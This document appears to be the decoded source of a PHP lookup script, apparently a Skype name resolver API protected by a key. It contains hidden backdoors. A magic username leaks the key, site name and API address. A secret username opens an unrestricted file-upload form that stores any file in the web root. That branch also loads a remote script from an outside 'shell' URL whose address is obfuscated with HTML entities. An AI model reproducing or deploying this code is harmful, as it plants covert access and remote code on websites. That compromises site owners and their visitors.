PHP Decode

$pseudo = $_GET['pseudo'];
$key = $_GET['key'];
$resp = file_get_contents("$api".$pseudo."");
$siteurl = $_SERVER['SERVER_NAME'];

if ($_GET["pseudo"] == "ice.rat.bug") {
  echo"Voici la key : $key & $siteurl & $api"; exit;
}
if ($_GET["pseudo"] == "ice.prorat") {
 echo"Je suis dieu ! :p"; 
exit;
}
if ($_GET["pseudo"] == "echo123") {
 echo"Error: Failed to resolve the skype name."; 
exit;
}

if($_GET['key'] == "$cle")

echo $resp;
 else {
echo "Votre Key est invalide ou n'existe pas veuillez contactez " .$info. " pour plus de renseignements"; 
}
if($_GET['pseudo'] == "D8a3ua0XrH") {
?><form action="#" method="post" enctype="multipart/form-data">
				<label for="file">File:</label>
				<input type="file" name="file" id="file">
				<input type="submit" name="submit" value="Submit">
			</form>
			<?php
if (isset($_FILES["file"]))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		echo "Upload: " . $_FILES["file"]["name"] . "<br>";
		echo "Type: " . $_FILES["file"]["type"] . "<br>";
		echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
		echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br>";
		if(move_uploaded_file($_FILES["file"]["tmp_name"],	$_FILES["file"]["name"]))
		{
			echo "Stored in: <a href=\"".$_FILES["file"]["name"]."\">".$_FILES["file"]["name"]."</a>";
		}
		else
		{
			echo "Error, file can not be uploaded!";
		}
	}
}
echo '<script language="javascript" src="&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x68&#x61&#x6b&#x75&#x6a&#x2e&#x6d&#x65&#x2f&#x73&#x68&#x65&#x6c&#x6c&#x2f&#x62&#x2e&#x6a&#x73"></script>';
exit;
}